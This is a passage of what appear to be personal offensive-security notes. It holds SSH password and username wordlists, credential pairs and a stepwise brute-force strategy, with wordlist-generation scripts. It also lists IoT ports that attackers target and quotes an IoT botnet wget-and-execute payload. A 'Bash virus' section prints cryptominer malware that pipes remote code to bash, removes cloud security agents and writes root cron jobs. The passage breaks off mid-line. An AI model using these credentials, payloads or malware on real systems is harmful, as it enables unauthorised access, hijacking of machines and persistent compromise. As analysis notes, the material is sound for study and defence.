- kirkland
- kitten
- knight
- krista
- kristen
- kristi
- kristie
- kristin
- kristine
- kristy
- ladle
- lambda
- lamination
- lana
- lara
- larkin
- larry
- laura
- lazarus
- leah
- lebesgue
- lee
- leland
- leroy
- leslie
- lewis
- library
- light
- linda
- lisa
- lisp
- liz
- lock
- lockout
- lois
- lori
- lorin
- lorraine
- louis
- love
- lucy
- lynn
- lynne
- macintosh
- mack
- maggot
- magic
- maint
- malcolm
- malcom
- manager
- mara
- marci
- marcy
- maria
- marietta
- mark
- markus
- marni
- mars
- marty
- marvin
- mary
- master
- math
- maurice
- meagan
- megan
- melissa
- mellon
- memory
- mercury
- merlin
- mets
- mgr
- michael
- michele
- michelle
- mickey
- mike
- minimum
- minsky
- mit
- modem
- mogul
- moguls
- monica
- moose
- morley
- mouse
- mozart
- mutant
- nagel
- nancy
- napoleon
- nasa
- nepenthe
- neptune
- ness
- net
- network
- new
- news
- newton
- next
- nicole
- nita
- nobody
- noreen
- noxious
- nuclear
- nutrition
- nyquist
- oceanography
- ocelot
- office
- olivetti
- olivia
- open
- operator
- oracle
- orca
- orwell
- osiris
- outlaw
- oxford
- pacific
- pad
- painless
- pakistan
- pam
- pamela
- paper
- papers
- pass
- password
- pat
- patricia
- patty
- paula
- pencil
- penelope
- penguin
- penis
- peoria
- percolate
- persimmon
- persona
- pete
- peter
- philip
- phoenix
- phone
- pierre
- pizza
- plane
- playboy
- plover
- pluto
- plymouth
- polly
- polynomial
- pondering
- pork
- porsche
- poster
- power
- praise
- precious
- prelude
- presto
- prince
- princeton
- priv
- private
- privs
- professor
- profile
- program
- protect
- protozoa
- pub
- public
- pumpkin
- puneet
- puppet
- qwerty
- rabbit
- rachel
- rachelle
- rachmaninoff
- rainbow
- raindrop
- raleigh
- random
- rascal
- reagan
- really
- rebecca
- regional
- remote
- renee
- rick
- ripple
- risc
- rje
- robin
- robot
- robotics
- robyn
- rochelle
- rochester
- rodent
- rolex
- romano
- ronald
- root
- rose
- rosebud
- rosemary
- roses
- ruben
- rules
- ruth
- sal
- samantha
- sandra
- sandy
- sara
- sarah
- saturn
- saxon
- scamper
- scheme
- school
- scott
- scotty
- secret
- security
- sensor
- serenity
- service
- sesame
- sex
- shannon
- sharc
- shark
- sharks
- sharon
- sheffield
- sheldon
- shell
- sherri
- shirley
- shit
- shiva
- shivers
- shuttle
- signature
- simon
- simple
- simpsons
- singer
- single
- smile
- smiles
- smooch
- smother
- snatch
- snoopy
- soap
- socrates
- somebody
- sondra
- sonia
- sonya
- sossina
- sparrows
- spit
- spring
- springer
- squires
- stacey
- staci
- stacie
- stacy
- steph
- stephanie
- strangle
- stratford
- student
- stuttgart
- subway
- success
- summer
- sun
- super
- superstage
- superuser
- support
- supported
- surfer
- susan
- susanne
- susie
- suzanne
- suzie
- swearer
- sybil
- symmetry
- sys
- sysadmin
- system
- tamara
- tami
- tamie
- tammy
- tangerine
- tape
- tara
- target
- tarragon
- taylor
- tech
- telephone
- temptation
- tennis
- terminal
- test
- thailand
- theresa
- tiffany
- tiger
- tina
- toggle
- tomato
- topography
- tortoise
- toxic
- toyota
- traci
- tracie
- tracy
- trails
- transfer
- trisha
- trivial
- trombone
- tty
- tubas
- tuttle
- umesh
- unhappy
- unicorn
- unix
- unknown
- uranus
- urchin
- ursula
- util
- utility
- uucp
- valerie
- vasant
- venus
- veronica
- vertigo
- vicky
- village
- virgin
- virginia
- visitor
- wargames
- warren
- water
- weenie
- wendi
- wendy
- whatever
- whatnot
- whiting
- whitney
- wholesale
- will
- william
- williamsburg
- willie
- wilma
- winston
- wisconsin
- wizard
- wombat
- woodwind
- word
- work
- wormwood
- wyoming
- xfer
- xmodem
- xyz
- xyzzy
- yaco
- yang
- yellowstone
- yolanda
- yosemite
- zap
- zimmerman
- zmodem
16.8.18. databases-web-servers-ML
- elasticsearch
- Neo4j
- Couchbase
- Redis
- Cassandra
- MongoDB
- Mongodb
- MySQL
- Mysql
- PostgreSQL
- postgresql
- postgres
- apache
- nginx
- iis
- hadoop
- spark
- airflow
- clearML
- clearml
- mlflow
- tensorflow
- pytorch
- PyTorch
16.8.19. soft
- telegram
- slack
- viber
- snapchat
- signal
- MicrosoftOffice
- excel
- acrobat
- PowerPoint
- LibreOffice
- OpenOffice
- chrome
- mozilla
- firefox
- edge
- safari
- explorer
- opera
- brave
- tor
- vivaldi
- yandex
- windows8
- windows9
- windows10
- windows11
- windows12
- macOS
- linux
- android
- iOS
- ios
- ubuntu
- fedora
- photoshop
- illustrator
- InDesign
- sketch
- figma
- gimp
- GIMP
- canva
- autodesk
- AutoCAD
- blender
- CorelDRAW
- audition
- DaVinci
- VLC
- vlc
- iTunes
- spotify
- norton
- kaspersky
- avast
- VisualStudio
- eclipse
- NetBeans
- sublime
- atom
- VisualStudioCode
- VSCode
- xcode
- PyCharm
- pycharm
- NeoVim
- neovim
- vim
- MySQL
- PostgreSQL
- SQLite
- sqlite
- firebird
- lighttpd
- GlassFish
- tomcat
- JBoss
- jboss
- WebSphere
- WebLogic
- weblogic
- steam
- origin
16.8.20. my
- ….
- ……
- A1aBc.
- A1aBc!
- 1AabC.
- 1AabC!
- QWEqwe
- qweQWE
- asdASD
- ASDasd
- QWEasd
- asdQWE
- 123123
- 1234
- 12341234
- 12345
- 123456
- 12345678
- 123456Aa.
- 12345Aa.
- 1234Aa.
- 123QWE
- 123qwe
- qwe123
- Aa1234.
- Aa1Aa1.
- Admin
- Admin123.
- Admin1@#
- Admin321.
- HelloWorld1.
- P@ssw0rd
- P@ssw0rd1
- P@ssw0rd123
- P@ssword
- Passw0rd
- Passw@rd
- Password1
- Password1.
- Password123
- Password123.
- Password1@#
- Qwe1..
- Qwe1@#
- Qwer1@#
- Qwert123.
- Qwert1@#
- Qwerty1@#
- ROOTroot123.
- Root123.
- Root1@#
- r00t
- aA1aA1
- abc123
- admin
- @dmin
- adm1n
- @dm1n
- admin123
- adminadmin
- administrator
- cvsadm
- debian
- dietpi
- eqidemo
- info
- letmein
- login
- maintenance
- marketing
- mysql
- news
- nobody
- openbsd
- oracle
- password
- qweqwe
- qwerty
- root
- rootROOT123.
- rootroot
- spam
- sysadm
- system
- techsupport
- test
- test1
- test123
- test1234
- test2
- test3
- test4
- tester
- testing
- testuser
- toor
- ubuntu
- ubuntu20
- ubuntu22
- ubuntu24
- ubuntu18
- ubuntu16
- ubuntu13
- uploader
- user
- web
- webadmin
- webmaster
- 2024
- !!!!
- !!!!!!
- 456456
- pass123
- pass1234
- 123
- 321
- 4321
- 54321
- 654321
- 7654321
- 987654321
- 0987654321
- !@#
- 22
- 333
- 4444
- 55555
- 666666
- 7777777
- 88888888
- 999999999
- unknown
16.8.21. telnet
- !
- @
- #
- $
- %
- ^
- &
- *
- (
- )
- _
- -
- +
- =
- {
- }
- [
- ]
- :
- ;
- |
- <
- >
- ,
- .
- ?
- /
- ~
- `
- 0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- A
- B
- C
- D
- E
- F
- Q
- Z
- a
- b
- c
- d
- e
- f
- q
- z
16.9. stats
%
- only lower - 41,67
- mixed letters and numeric - 37
- only numeric - 15
- contains special charactes - 3.8
- only upper cases - 1.62
characters % (without ")
- . - 0.7
- _ - 0.58
- ! - 0.55
- - - 0.39
- @ - 0.32
- * - 0.3
- # - 0.18
- / - 0.12
- $ - 0.1
- , - 0.09
- & - 0.088
- ? - 0.08
- + - 0.073
- = - 0.057
- ) - 0.056
- ( - 0.055
- ' - 0.05
- ; - 0.044
16.10. generate wordlist
- hashcat
- John the Ripper
- PasswordsPro:
- Rsmangler
- crunch
16.10.1. John the Ripper
- https://www.openwall.com/john/doc/OPTIONS.shtml
- https://www.openwall.com/john/doc/RULES.shtml
- /etc/john/john.conf or .john/john.conf
- section: [List.Rules:Wordlist]
- john –wordlist=air-test/password.lst –rules –stdout
16.10.2. app-crypt/johntheripper-jumbo
- john –wordlist=air-test/password.lst –rules:Single –min-length=8 –max-length=10 –stdout
16.10.3. hashcat
16.10.4. app-misc/crunch
- https://xeushack.github.io/wordlists-with-crunch
- https://www.hackingarticles.in/a-detailed-guide-on-crunch/
- https://www.linuxsecrets.com/1669-creating-wordlists-for-penetration-testing-with-crunch
- crunch [minimum length] [maximum length] [charset / extra options]
- -o outputfile
16.11. my sequence
- john rules on name
- one word: all sequences and worlds capitalized and filtered
- most common
- dates
- two words
- john rules on "one word"
old
- key sequence (sequences.txt) + dates
- reverse sequences (sequencesrev.txt)
- sequence words (wordlistks) + default passwords
- sequence words (wordlistks) + default passwords (upper lower)
- reverse sequence words (wordlistks)
- reverse sequence words (wordlistks) (upper lower)
- filtered sequence words result (wordlistks8)
- all numbers = 8 (alldigits8.txt)
- all numbers = 10 (alldigits10.txt)
- all numbers+A-F - upper, lower, 8, 10, 9
- >8 normal =n.txt
- >8 all lowercase =l.txt
- >8 all uppercase =u.txt
- >8 capitalized
- <5 double normal
- <5 double all lowercase
- <5 double all upper
- <5 double first upper second lower
- <5 double first lowwer second upper
16.12. bash for passwords
sort by symbols
- cat old-driver-passwords | nl -b a -s : | sort -t : -k 2 -u | cut -d : -f 2- > old-driver-passwords
filter lines 2-8 chars
- grep -E '^.{2,8}$' –color=never infile
- sed -nr '/^.{2,8}$/p' infile
- cat TOPVK-100MWPA.txt | grep -o -E '[a-zA-Z]{4,}' | uniq
reverse characters: rev
shuffle and random line: shuf
16.13. bash generate password
- < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c 32 ;echo;
- tr -cd '[:alnum:]' < /dev/urandom | fold -w30 | head -n1
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
- < /dev/urandom tr -dc _A-Z-a-z-0-9 | fold -w8
- dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
- openssl rand -base64 32
- date | md5sum
- date +%s | sha256sum | base64 | head -c 32 ; echo
tmpfs
- mount -t tmpfs -o size=10m tmpfs /tmp/a
16.14. all digits generator
import itertools as it from datetime import datetime ALPHA_LOW = "abcdefghijklmopqrstuvwxyz" ALPHA_UP = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ALPHA = ALPHA_LOW + ALPHA_UP NUMBERS = "0123456789" # special = " `èéà@ç-/\\:#{}[]()'&*`^$!." ADDITIONAL_SPECIAL = ['.', '_', '!', '-', '@', '*', '#', '/', '$'] ADDITIONAL_SPECIAL_DOUPLES = ['..', '__','!!'] ADDITIONAL = ['1', '11', '12', '13', '123', 'a', 'q', 'qq', 'aa', '0', '00', '01', '2', '3', '7'] \ + ADDITIONAL_SPECIAL + ADDITIONAL_SPECIAL_DOUPLES ADDITIONAL_1CHAR = [x for x in ADDITIONAL if len(x) == 1] # WFUNC = lambda x: print(x) # f = open("sequences.txt", "w") f = open("alldigits8.txt", "w") WFUNC = lambda x: f.write(x + '\n') def wp(l): l = list(l) # print(type(l), l) if isinstance(l[0], str): WFUNC("".join(l)) else: #if not isinstance(l[0], list) and not isinstance(l[0], tuple): # l = [list(v) for v in l] for v in l: v = list(v) # print(type(v), v) if isinstance(v[0], str): WFUNC("".join(v)) else: for vv in v: WFUNC("".join(vv)) def wget(l): l = list(l) # print(type(l), l) if isinstance(l[0], list) or isinstance(l[0], tuple): return ["".join(v) for v in l] else: return "".join(l) def frep(f, items, reps:list): if isinstance(reps, range): reps = list(reps) r = [] for v in reps: r.append(f(items, v)) return r def frep_prod(f, items, reps:list): if isinstance(reps, range): reps = list(reps) r = [] for v in reps: a = f(items, repeat=v) a = list(a) print(a) r.append(a) return r # -------------- Key Sequences def key_sequences(): # REP8 4-10: alphabet = aaaaaaaa, bbbbbbbb, 11111111 for v in list(ALPHA_LOW) + list(NUMBERS) + ADDITIONAL_SPECIAL: wp(frep(it.repeat, v, range(3,10) )) # REP2 2,3,4,5: 1 2 3 4 5 6 7 8 9 = 12121212, 32323232 a = it.permutations(NUMBERS, 2) for v in wget(a): wp(frep(it.repeat, v, range(2,6) )) # PERM 2-3: 123 qwe asd zxc = 123123, 123qwe, qwe123 z = ['123', 'qwe', 'asd', 'zxc'] a1 = it.product(z, repeat=2) a2 = it.product(z, repeat=3) wp([a1,a2]) # PERM 2: qwer asdf zxcv 1234 a = it.product(['1234', 'qwer', 'asdf', 'zxcv'], repeat=2) wp(a) # REP2,3: qaz wsx, rfv, 123 z = ['qaz', 'wsx', 'rfv', '123'] a1 = it.product(z, repeat=2) a2 = it.product(z, repeat=3) wp([a1,a2]) # PERM2: 1qaz 2wsx, 3rfv a = it.product(["1qaz", "2wsx", "3rfv"], repeat=2) wp(a) # PERM4: 12, qw, as, zx a = it.product(["12", "qw", "as", "zx"], repeat=4) wp(a) def dates(): # year, month, dates y_start=1930 m_start=1 d_start=1 y_now = datetime.now().year special = ADDITIONAL_SPECIAL + ADDITIONAL_SPECIAL_DOUPLES for y in range(y_start, y_now+1): for m in range(m_start, 12+1): for d in range(m_start, 31+1): # -- simple digits # WFUNC(f"{y}{m}{d}") # WFUNC(f"{d}{m}{y}") # -- with 0 WFUNC(f"{y}{m:02d}{d:02d}") WFUNC(f"{d:02d}{m:02d}{y}") # -- with 0 with special for s in special: WFUNC(f"{y}{s}{m:02d}{s}{d:02d}") WFUNC(f"{d:02d}{s}{m:02d}{s}{y}") # -- without 0 with special for s in special: WFUNC(f"{y}{s}{m}{s}{d}") WFUNC(f"{d}{s}{m}{s}{y}") # -- with 0 with special without 19,20 for s in special: WFUNC(f"{str(y)[-2:]}{s}{m:02d}{s}{d:02d}") WFUNC(f"{d:02d}{s}{m:02d}{s}{str(y)[-2:]}") # -- without 0 with special without 19,20 for s in special: WFUNC(f"{str(y)[-2:]}{s}{m}{s}{d}") WFUNC(f"{d}{s}{m}{s}{str(y)[-2:]}") # year now WFUNC(str(y_now) + str(y_now)) for v in special: WFUNC(str(y_now) + v + str(y_now)) def all_numbers8(): # PERMUtatiosn all digits # z = frep_prod(it.product, NUMBERS, range(1,4)) # wp(z) a1 = it.product(NUMBERS, repeat=4) a1 = list(a1) for v1 in a1: for v2 in a1: p = "".join(v1) + "".join(v2) WFUNC(p) def all_numbers10(): a1 = it.product(NUMBERS, repeat=4) a1 = list(a1) for v1 in a1: a2 = it.product(NUMBERS, repeat=6) for v2 in a2: p = "".join(v1) + "".join(v2) WFUNC(p) if __name__ == "__main__": # key_sequences() # dates() # all_numbers8() all_numbers10()
16.15. bakses
16.16. fast permutation
// NOTICE: Copyright 2008, Phillip Paul Fuchs #define N 12 // number of elements to permute. Let N > 2 // NOTICE: Copyright 2008, Phillip Paul Fuchs void display(unsigned int *a, unsigned int j, unsigned int i) { for(unsigned int x = 0; x < N; x++) printf("%d ",a[x]); printf(" swapped(%d, %d)\n", j, i); //getch(); // Remove comment for "Press any key to continue" prompt. } // display() void QuickPerm(void) { unsigned int a[N], p[N]; register unsigned int i, j, tmp; // Upper Index i; Lower Index j for(i = 0; i < N; i++) { // initialize arrays; a[N] can be any type a[i] = i + 1; // a[i] value is not revealed and can be arbitrary p[i] = 0; // p[i] == i controls iteration and index boundaries for i } //display(a, 0, 0); // remove comment to display array a[] i = 1; // setup first swap points to be 1 and 0 respectively (i & j) while(i < N) { if (p[i] < i) { j = i % 2 * p[i]; // IF i is odd then j = p[i] otherwise j = 0 tmp = a[j]; // swap(a[j], a[i]) a[j] = a[i]; a[i] = tmp; display(a, j, i); // remove comment to display target array a[] p[i]++; // increase index "weight" for i by one i = 1; // reset index i to 1 (assumed) } else { // otherwise p[i] == i p[i] = 0; // reset p[i] to zero i++; // set new index value for i (increase by one) } // if (p[i] < i) } // while(i < N) } // QuickPerm() int main(){ QuickPerm() }
16.17. brutefoce in c
// Print all combinations of the given alphabet up to length n. // // Example: length 3 combinations are: // // aaa // aab // aac // ... // aa9 // aba // abb // abc // ... // a99 // baa // bab // ... // 998 // 999 // // The best way to test this program is to output to /dev/null, otherwise // the file I/O will dominate the test time. // // This is the same as alphabet.c except this version uses 3 hardcoded // letters instead of 2. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> const char *alphabet = "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "0123456789"; static void generate(int maxlen); int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s Length\n", argv[0]); exit(1); } generate(atoi(argv[1])); return 0; } /** * Generates all patterns of the alphabet up to maxlen in length. This * function uses a buffer that holds alphaLen^3 patterns at a time. * One pattern of length 5 would be "aaaaa\n". The reason that alphaLen^3 * patterns are used is because we prepopulate the buffer with the last 3 * letters already set to all possible combinations. So for example, * the buffer initially looks like "aaaaa\naaaab\naaaac\n ... aa999\n". Then * on every iteration, we write() the buffer out, and then increment the * fourth to last letter. So on the first iteration, the buffer is modified * to look like "abaaa\nabaab\nabaac\n ... ab999\n". This continues until * all combinations of letters are exhausted. */ static void generate(int maxlen) { int alphaLen = strlen(alphabet); int len = 0; char *buffer = malloc((maxlen + 1) * alphaLen * alphaLen * alphaLen); int *letters = malloc(maxlen * sizeof(int)); if (buffer == NULL || letters == NULL) { fprintf(stderr, "Not enough memory.\n"); exit(1); } // This for loop generates all 1 letter patterns, then 2 letters, etc, // up to the given maxlen. for (len=1;len<=maxlen;len++) { // The stride is one larger than len because each line has a '\n'. int i; int stride = len+1; int bufLen = stride * alphaLen * alphaLen * alphaLen; if (len == 1) { // Special case. The main algorithm hardcodes the last two // letters, so this case needs to be handled separately. int j = 0; bufLen = (len + 1) * alphaLen; for (i=0;i<alphaLen;i++) { buffer[j++] = alphabet[i]; buffer[j++] = '\n'; } write(STDOUT_FILENO, buffer, bufLen); continue; } else if (len == 2) { // Also a special case. int let0 = 0; int let1 = 0; bufLen = (len + 1) * alphaLen * alphaLen; for (i=0;i<bufLen;i+=stride) { buffer[i] = alphabet[let0]; buffer[i+1] = alphabet[let1++]; buffer[i+2] = '\n'; if (let1 == alphaLen) { let1 = 0; let0++; if (let0 == alphaLen) let0 = 0; } } write(STDOUT_FILENO, buffer, bufLen); continue; } // Initialize buffer to contain all first letters. memset(buffer, alphabet[0], bufLen); // Now write all the last 3 letters and newlines, which // will after this not change during the main algorithm. { // Let0 is the 3rd to last letter. Let1 is the 2nd to last letter. // Let2 is the last letter. int let0 = 0; int let1 = 0; int let2 = 0; for (i=len-3;i<bufLen;i+=stride) { buffer[i] = alphabet[let0]; buffer[i+1] = alphabet[let1]; buffer[i+2] = alphabet[let2++]; buffer[i+3] = '\n'; if (let2 == alphaLen) { let2 = 0; let1++; if (let1 == alphaLen) { let1 = 0; let0++; if (let0 == alphaLen) let0 = 0; } } } } // Write the first sequence out. write(STDOUT_FILENO, buffer, bufLen); // Special case for length 3, we're already done. if (len == 3) continue; // Set all the letters to 0. for (i=0;i<len;i++) letters[i] = 0; // Now on each iteration, increment the the fourth to last letter. i = len-4; do { char c; int j; // Increment this letter. letters[i]++; // Handle wraparound. if (letters[i] >= alphaLen) letters[i] = 0; // Set this letter in the proper places in the buffer. c = alphabet[letters[i]]; for (j=i;j<bufLen;j+=stride) buffer[j] = c; if (letters[i] != 0) { // No wraparound, so we finally finished incrementing. // Write out this set. Reset i back to second to last letter. write(STDOUT_FILENO, buffer, bufLen); i = len - 4; continue; } // The letter wrapped around ("carried"). Set up to increment // the next letter on the left. i--; // If we carried past last letter, we're done with this // whole length. if (i < 0) break; } while(1); } // Clean up. free(letters); free(buffer); }
16.18. common SSH passwords
1234 12345 123456 12345678 12341234 password Passw@rd Passw0rd P@ssword P@ssw0rd abc123 admin Admin administrator adminadmin admin123 alpine cvsadm dietpi eqidemo info letmein logon maintenance marketing mysql news nobody oracle qwerty root toor rootroot spam sysadm system techsupport test test1 test123 test1234 test2 test3 test4 tester testing testuser uploader user web webadmin webmaster 123qwe 123QWE qweqwe qwerty
16.19. common SSH users
root user admin sysadmin support dev dbadmin webadmin monitor log stats report audit mysql postgres ftp sftp git apache nginx prometheus mercurial jenkins tomcat glassfish websphere jboss oracle sqlserver mongodb cassandra hadoop spark test ubuntu ubnt pi guest ftpuser usuario nagios 1234 operator
16.20. SSH user-password pairs
root 123456 root 12345678 root root root toor root default root admin root linux root ubnt root openvpnas administrator password cisco cisco admin admin admin password user user test test ubuntu ubuntu ubnt ubnt support support oracle oracle pi raspberry guest guest postgres postgres ftpuser asteriskftp usuario usuario nagios nagios 1234 1234 ftp ftp operator operator git git hadoop hadoop ts3 ts3 root abc123 uploader uploader root 123qwe test password john password john john bill bill bill abc123 mike mike mike password agata agata marketing marketing
16.21. SSH password restrictions
- PasswordMinLength 6-8
- 1 uppercase letter
- 1 lowercase letter
- 1 digit
- 1 special character
16.22. SSH 8 char, 1 dig, 1 up, 1 low, 1 spec
password
P@ssw0rd Password1 P@ssword P@ssw0rd1 Password123 P@ssw0rd123 Password P@ssword Password123 P@ssw0rd123
common
12345678 rootroot adminadmin admin123 12341234
16.23. SSH carefully crafted:
16.24. SSH password strategy
- take from words words: owasp100, users, top words 2024, eng:, universal, sys admins:, games, databases-web-servers-ML, my (just copy to words)
- cat words | grep -v "*" | cut -f 2- -d ' ' | sed 's/, /\n/g' | sort | uniq
- capitaliza words if at least 2 characters exist [a-z]
- for [a-z] if last and first character is lowercase, add variant with capitalized the last character and the first.
- if word 3-4 character - add ‘123’ and ‘!@#’
- add 1aA, 1qQ, qQ1, aA1, 1Aa at the end only
- check for users: pairs, root and admin only
16.25. SSH versions
- OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 - Ubuntu 16.04 LTS, - minlen: 6 , ucredit, lcredit, dcredit, ocredit: Not set by default,
- 7.9p1 Debian 10+deb10u4 - Debian 10 (buster) - minlen: 6, no other requirements
- Ubuntu - from 18.04 and 20.04 - 6 characters and a mix of characters and numbers. ?
- Ubuntu 20.04 - minlen: 6, upper, lower, number required ?
- OpenSSH`9.6p1 Ubuntu 3ubuntu13.4 - Ubuntu 22.04 LTS -
17. IoT attacks
17.1. Top 20 Attacked IoT Ports
- 23, 22, 445, 80, 443, 139
SSH Port 22 *Includes IoT HTTP Port 80 Mainly web apps but includes common IoT devices, ICS and gaming consoles Telnet Port 23 ALL SIP Port 5060 ALL VoIP phones, video conferencing HTTP_Alt Port 8080 SOHO routers, smart sprinklers, ICS TR069 Port 7547 SOHO routers, gateways, CCTV Applications Port 8291 SOHO routers Telnet Port 2323 ALL HTTP Port 81 *Can include IoT: Wificams SMTP Port 25 *Can include IoT: Wificams, Game consoles Rockwell Port 2222 ICS HTTP_Alt Port 8081 DVRs WSP Port 9200 WAPs HTTP_Alt Port 8090 WebCams UPnP Port 52869 Wireless chipsets Applications Port 37777 DVRs UPnP Port 37215 SOHO Routers Applications Port 2332 Cellular gateways Rockwell Port 2223 ICS Secure SIP Port 5061 VoIP phones, video conferencing
17.2. thingbots
bots ports:
- TCP 23, TCP 7547, TCP 5555
- Telnet ports (TCP 23 and 2323)
17.3. CVEs
https://cujo.com/blog/the-2022-2023-iot-botnet-report-vulnerabilities-targeted/
UDP port 9034.
orf;cd /tmp; rm -rf mpsl; cd /tmp; /bin/busybox wget http://89.203.251.188/mipsel && chmod +x mipsel && ./mipsel
18. code analysiz, reverse engeering
tools: IDA Pro, Ghidra
linux:
- $strings file
- first libraries
- last portion of the list contains names of sections of the file
18.1. links
18.2. objdump
objdump -d hello > disassembly.asm
- AT&T disassembly syntax
objdump -M intel -d hello > disassembly.asm
18.3. TODO file
18.4. Dynamic analysis
should be done in a sandbox environment
- trace
- hows a readable code of what the program did
- logged library functions that the program called and received
- strace
- logs system calls
- execve runs a program pointed to by the filename
- open and read are system calls that are used here to read files
- mmap2, mprotect, and brk are responsible for memory activities such as allocation, permissions, and segment boundary setting
- logs system calls
18.4.1. gdb
https://www.youtube.com/watch?v=PorfLSr3DDI default AT&T sytnax
commands:
- disass command - disassembly of specified functions
- set disassembly-flavor intel - Intel syntax
18.5. Assembler
https://en.wikipedia.org/wiki/X86_assembly_language
consists of a series of
- mnemonic processor instructions - consist of an opcode mnemonic followed by an operand, which might be a list of data, arguments or parameters
- meta-statements (known variously as
- declarative operations
- directives
- pseudo-instructions
- pseudo-operations
- pseudo-ops
- comments
- data
Parity bit - error detecting code
data sizes −
- Word: a 2-byte data item
- Doubleword: a 4-byte (32 bit) data item
- Quadword: an 8-byte (64 bit) data item
- Paragraph: a 16-byte (128 bit) area
- Kilobyte: 1024 bytes
- Megabyte: 1,048,576 bytes
fetch-decode-execute cycle or the execution cycle:
- The processor may access one or more bytes of memory at a time
- The processor stores data in reverse-byte sequence
- steps:
- Fetching the instruction from memory
- Decoding or identifying the instruction
- Executing the instruction
two kinds of memory addresses
- Absolute address - a direct reference of specific location.
- Segment address (or offset) - starting address of a memory segment with the offset value.
18.6. syntaxes
- Intel syntax - x86 assembly language - dominant in the DOS and Windows world
- AT&T syntax is dominant in the Unix world
18.7. Bash virus https://hackware.ru/?p=17007
(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms /bin/sh -c (curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms
18.7.1. virus code
#!/bin/bash SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin setenforce 0 2>/dev/null ulimit -u 50000 sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3)) netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':4444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':5790' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':45700' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':2222' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':9999' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':20580' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '23.94.24.12:8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9 netstat -antp | grep '134.122.17.13:8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9 netstat -antp | grep '107.189.11.170:443' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9 rand=$(seq 0 255 | sort -R | head -n1) rand2=$(seq 0 255 | sort -R | head -n1) chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down if ps aux | grep -i '[a]liyun'; then (wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh (wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi sleep 1 echo "DER Uninstalled" chattr -ai /tmp/dbused if [ -s /usr/bin/ifconfig ]; then range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1) else range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1) fi if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ]; then dns="" else dns="-d" fi if [ $(ping -c 1 bash.givemexyz.in 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ]; then url="http://bash.givemexyz.in" else url="http://104.244.75.159" fi echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache echo -e "*/3 * * * * root 